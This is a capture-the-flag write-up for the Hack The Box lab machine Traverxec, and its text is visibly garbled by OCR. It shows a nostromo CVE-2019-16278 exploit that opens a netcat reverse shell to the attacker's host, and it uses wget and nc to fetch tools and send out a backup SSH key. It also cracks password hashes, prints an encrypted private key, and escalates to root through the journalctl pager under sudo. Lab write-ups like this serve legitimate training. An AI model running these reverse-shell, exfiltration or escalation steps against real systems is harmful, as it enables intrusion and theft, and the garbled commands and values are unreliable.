Traverxec Writeup

Hack The Box machine

We start off with an nmap scan.

:~/Documents/Hackthebox/traverxec# nmap 10.16.10.165 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 13:31 CET
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.824s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9pl Debian 10+deblOul (protocol 2.0)
80/tcp open http nostromo 1.9.6
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 22.53 seconds

Only port 22 and 80 are open. Let's take a look at the webpage.

After some enumeration, it seems that there is no obvious entry point on the
webpage. Let's take a look at the webserver. It's a Nostromo webserver on
version 1.9.6. If we search for a CVE for this version we find CVE-2019-16278.

A user named SpOre created a script for this exploit
(https://git.spOre.sh/spOre/Nhttpd-exploits). If we download this script, we can
run it with our target, port and command to run as parameters.

oit.sh 18.10.10.165 80 "nc 10.10.14.174 4444"

:~/Documents/Hackthebox/traverxec# nc -nvlip 4444

listening on [any] 4444
connect to [10.10.14.174] from (UNKNOWN) [10.10.10.165] 54716

We notice we do get a connection, but no interactive shell. So we alter our
command in the parameter to have ‘-c bash’. We do this to be able to run a shell
command when we get a connection.

-c string specify shell commands to c after connect (use with caution). The string is
passed to /bin/sh -c for execution. See the -e option if you don't have a working

/bin/sh (Note that POSIX-conformant system must have one).


https://git.sp0re.sh/sp0re/Nhttpd-exploits

:~/Documents/Hackthebox/traverxec# ./exploit.sh 10.10.18.165 80 "nc 10.10.14.119 4444 -c bash"

For the bash command to run on connection, we enter:
python -c 'import pty;pty.spawn("/bin/bash")’

: ~/Documents/Hackthebox/traverxec# nc -nvlp 4444
listening on [any] 4444
connect to [10.10.14.119] from (UNKNOWNM) [10.18.10.165] 34920
python -c 'import pty;pty.spawn("/bin/bash")’
ww-data@traverxec: /usr/bin$ whoami
vhoami
ww-data
www-data@traverxec: fusr/bin%

We got a shell as www-data.

Now, we have to enumerate again. A popular method is Linux Smart
Enumeration.

We download Ise.sh from our local machine, make it executable and run it.

www-data@traverxec: /tmp$ wget "http://10.10.14.239:8000/1s5e.5h"
wget "http://10.10.14.239:8000/1se.s5h" -0 lse.sh

--28019-11-29 ©6:32:58-- http://10.10.14.239:8000/1se.5h
Connecting to 10.10.14.239:8800... connected.

HTTP request sent, awaiting response... 200 OK

Length: 31743 (31K) [text/x-sh]

Saving to: 'lse.sh’

lse.sh % 31.00K --.-KB/s in 8.02s
[31743/31743]

www-data@trgverxec:ftmp$ chmod 788 1
chmod 788 lse.sh

['] Found any .htpasswd files?

Jvar/nostromo/cont/.htpasswd
david:$1$e7NfNpNisAGNCWOTqrNR2oDUIKirRZ/

We found a password file with the hash of the user David.

We save the hash to a file in order to crack it with John the Ripper.

:~/Documents/Hackthebox/traverxec# cat hash
wOTqrNR2oDUIKirRZ/
Hackthebox/traverxec# john hash --wordlist=~/Docume ‘wordlists/rockyou. txt
type "md5crypt", but the string is al recognized d5scrypt-long”
Use the "--format=mdS5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (mdScrypt, crypt(3) $1% (and variants) [MD5 256/256 AVX2 8x3])

No password hashes left to crack (see FAQ)
:~/Documer Hackthebox/traverxec# john --show hash
david:Nowonly4me

1 password hash cracked, 0 left
:~/Documer ackthebox/traverxec#

The outcome: Nowonly4me



We try this password with ‘su’” which does not grant access to the machine, Nor
for SSH.

Let’s enumerate some more. The password file was found in /var/Nostromo/conf/.
Maybe there is more interesting information to find.

If we look at the nhttpd.conf file we find at that same directory, we see the
following information:

# HOMEDIRS [OPTIOMAL]

homedirs /home
homedirs public yublic www

In the home directories, there is a public folder called public_ www. David is the
only user in /home so we find the public_www directory in his directory.

www-data@traverxec: /home/david/public www$

1s -la

total 16

drwxr-xr-x david david 4096 25 15:¢

drwx--x--x 6 david david 4096 29 06: ..

-rW-r--r-- david david 462 25 15: index.html
drwxr-xr-x 2 david david 4096 25 17: protected-file-area

The directory ‘protected-file-area’ draws our attention, and in there we find a
zipped file that presumably contains backup SSH keys.

www-data@traverxec: /home/david/public www/protected-file-area$ ls
1s
backup-ssh-identity-files.tgz

We download the file to our local machine, so we can take a better look.

nc 10.10.14.239 4445 = backup-ssh-identity-files.tgz

:~/Documents/Hackthebox/traverxec# nc -nvlp 4445 = backup.tgz
listening on [any] 4445
connect to [10.10.14.239] from (UNKNOWN) [10.10.10.165] 40794

Now we unpack the file and look at its content.

:~/Documents/Hackthebox/traverxec# tar xzvf backup.tgz
home/david/.ssh/

home/david/.ss
home/david/ "sa
home/david/ rsa.pub

Indeed the zip contains SSH keys.



:~/Documents/Hackthebox/traverxec/home/david/.ssh# cat id rsa
BEGIN RSA PRIVATE KEY
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBAS56F9D283D349033D5D0O8CAF

yeH/feGl9TlUaMdvHZK/2qTyB8pwwdr9sg75x4hPplJl8YauhWo rCN4LPIV+wTCG
uiBPfZy+ZPklLkOneIggorulLkVGW4k4651pwekZnjsT8IMM3jndLNSRk]jxCTX3W
KzW9VFPujS0ZnHM91ho6J808LTz1+56GjPpFxjo2Ar2nPwjofdQejPBe07kXwDFU
RIJUpcsAtpHAbXalI9LFyX8IhQ8frTOOLUBMMUSEWhz9KY jw2kiLBLYyKS+sUT9/V7
HHVHW47Y /EVFQrEXKUu@OP8rFtYULQ+7Kk7InTh7THIgKI /60QYZe69r0AXEOTtv44zIc
Y10MGryQp5CVztcCHLYS/9GsRBOdOTtLqY2LXk+1nu¥YPyyZlhyngE7bP9jsp+hec
dTRQVQTNP7zI8GYKTV+KNgAOM7UWQNS+]gqvSQ9YDjZIWwFLA8j xIPOHSUWWXTOZN
6pmYZc/rNkCE121/0JbalB3jP/1GWz0,/q5]XA6] jyrd9xZDN5bX2E2gzdcCPd5q0
XWzZnabtjs2kMdCxIRNVErnvSGBIBSOs /0nXpHNITjMrkggrPWCeLATOXEPTgktqgil
02IMIghwWoLkUs48s+z72eAh18naEfgn+TbOmSMMZ / x6BCUxSNWAFgnuj4RALjdn6
127gesRkxxnSMZ5DmQXMrrIBuulJ6gHgj ruaCpdh5HUEHETUFgnbJobJA3Nev54T
eAtRBrvVIHLCuo5jmubhitqGs jyHFI/hSFYtb0O5CmZROAMWL1zVQ3ChbNhjeIwFA
bzgSzzldKYbGD9tyfK3z3RckVhgVYDgEMFRBSHqC+yHDYRb+U5ka3LclgT1lr0+2s0
uDi6TXyvABX+ed4E41lwlZoBtHK,/NgMvDTeb9tdNOKkVbTdFc2kWtz98VFIyoN82usI
Ak/KOnp71zHnRO7dvdD61RzHKm37 rvTYrUexaHJ458dHT36r fUxafte81v616RMEs
SCBrEp+LKAAZIrKSP28BrqFuPTWXvFtROLYepG9eHNFeN4uMsuT,/551bTn5541/U
rGw@txYInVmeLRORID37b3/hasIrycak8LZzFSPUNuwqFcbxRBOJIFgqLxhaMztua
4moqrAeGFPPEDSgY3TCLoRMEOHL /MzHPUICtxHV2RbYO/6TDHTZ+Z26NntXPZzulAgRU
/8GzgwS6EyHDaTgNtgYadXruYJ1iNDyArEAU+KvVYZhY 1Y jhSLFfo2yRdOUGBmM9AX
JPNeaxwBDXB8UwGbAQyUOk49ePBFeEgQh9NEcYegCoHluagpatxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUgAodXTEU6FZvT7dsatTa91lwHe4a] /5qxEbJuwuAuWsLh
hORAZvbHUIxCzneqqRjS4tNRmOKFOUISWKTK1eLMO3gXtVTf06vDD3mcTNL1pQuf
SPOGqvQldiBixPMx+YkiimRggUwcGnd31RBBO2ZMNWWE59Rri3Z4A10pThb1K7TvOM
j1a04b0mVX8uBogbPvWe/00jkbCvTR4XvEQ+cha/FnGNZxhHRB]j cHBOVaNS469tt
VeYniFU/TGnRKDYLOHZx@niltBTOWKOLERY®CbGDcquzRoWjAMTN/PV2VbEKKD /w
END RSA PRIVATE KEY

The private key, however, is encrypted. Again, John the Ripper can be a use for
us.

We first convert the key to a format that John can understand with ssh2john.py

Jusr/share/john/ssh2john.py id rsa > output.txt

The output file is now formatted like this:

:~/Documents/Hackthebox/traverxec/home/david/.ssh# cat output.txt

21c63538clabc90a79095ced7021cbc92ffdlac441d1ldd13b65a98d8b5e4fh59ee60fchb26498729
Tdlecb9659741464dea999865cTeb36408497697 Taf96da241de33ffd465b3a3fab925703a8e3cal]
aB82b3d609e2cd7T4c443d3824b6a8b543620c26a856T4b914b38T2cThb3eT6780865T276847e09Te
b9aPa9761e47b841c47d416a9db2686c903735ebf9e137T3780b51T2b5491e50aea398e6bbag62b

618150e0108c1510791eabbec870f245bT94e646b72dc9604T5acefb6b28b838ba7d7cafonlsferby
dbddefads51lcc7926dfbaef4d8ad47bl1687278e7c7474T7eab7d4c5a7def35bfas7ad4cf2cf4206b
6089d599e2d1d1124edfb6f7fel69222bc9chadfObe731523d436ec2als5c6T1l47c40916aa8bc6168
20454ffclb3830e7al321c369380db6abla757aceb609d62343cB0ac402efB8abd56616256238522¢ch
1d9cedca58d67460T3e5clcdb2c5T6970cc598805abb386d652a0287577c453al159bfb76chad4dad
817b557df3babc36T799c4cd2T5a50b9T48Td06aaT435762062c4T3311989228a6460814clcla77
fad43e71b6bf16718d67184747c8dclfcd1568d4b8ebdb6d55e62788553T4c69d128360b407dbld2




Now we use john on this file.

ssh# john output.txt --wordlist=~/Documents/wordlists/rockyou.txt

/DSA/EC/OPENSSH (SSH private keys) 32/64])
MD5/3DES 2=Bcrypt/AES]) is @ for all loaded hashes
is 1 for all loaded hashes

s left, minimum 4 n

We find the passphrase ‘hunter’.

We can now setup an SSH connection as David.

: ~/Document ackthe raverxec/home/david/.ssh# ssh david@tra
The authenticity of § c.htb (10.10.10.165)' can't be establis
ECDSA key fingerprint is ‘pUMzd+6bHNERAZ rAU3000Q0iNdWOTKEPTJoXnWzVo.
Are you you want to conti onnecting (yes/no/[fingerprint]}? yes
wWarning: addec § .htb' (ECDSA) to the list of known hosts.
Enter pa
Linux tra 4.19.08-6-
Last login: Fri Nov 29 07:11:22 2019 from 10.10.14.146
david@traverxec:~$

We have found the user flag:

david@traverxec:~% cat user.txt
7dbBb48469606ad42cec20750d9782T3d

Now, let’s enumerate to find a way to root user.

david@traverxec:~-% 1
bin public www e

If we run the script, we get no useful information, but if we look at the script, we
find that it runs one command with root permissions.

david@traverxec:~/bin$ cat
#1/bin/bash

cat /homesdavid/bin/server
echo opad: ~Jusr/bin/uptime

echo

echo : " Jusr/bin/ss -H sport = 80 | /fusr/bin/wc -1°"

echo "Files in the docroot: "/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -1""
echo

echo "Last 5 journal log lines:"

Jusr/binssudo Jusr/bin/journalctl -n5 -unostromo.service | fusr/bin/cat

‘journalctl’ is run with root permissions. This binary has a vulnerability, according
to GTFOBIns.



= / journalctl W Star | 1,846

This invokes the default pager, which is likely to be less, other functions may apply.

This might not work if run by unprivileged users depending on the system configuration.
Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

journalctl
!/bin/sh

To exploit this vulnerability, you have to make use of ‘less’ function that
journalctl uses. If our terminal is big enough to print out the complete output of
this command, we do not invoke this ‘less’ pager. So we shrink our terminal so
that it can only print out a few lines of code at once.

We now run the command that we found in the script: sudo journalctl -n5 -
unostromo.service

-- Logs begin at Fri 2019-11-29 07:23:24 EST, end at Fri 2
Nov 29 ©7:26:10 traverxec sudo[1189]: pam_unix(sudo:auth):
Mov 29 087:26:12 traverxec sudo[1189]:
Mov 29 87:26:12 traverxec sudo[1189]:

Nov 29 07:26:10 traverxec sudo[1189]:
Nov 29 B07:26:12 traverxec sudo[1189]:
Nov 29 07:26:12 traverxec sudo[1189]:
| /bin/sh

il |

Let’s see who we are, and find the root flag.

# whoami
root
# cat /root/root.txt

9aa36a6d76T785dTd320a478T6e0d906
#

USER: 7db0b48469606a42cec20750d9782f3d
ROOT: 9aa36a6d76f785dfd320a478f6e0d906

If you like this write-up, please leave a respect at:
https://www.hackthebox.eu/home/users/profile/176528



https://www.hackthebox.eu/home/users/profile/176528

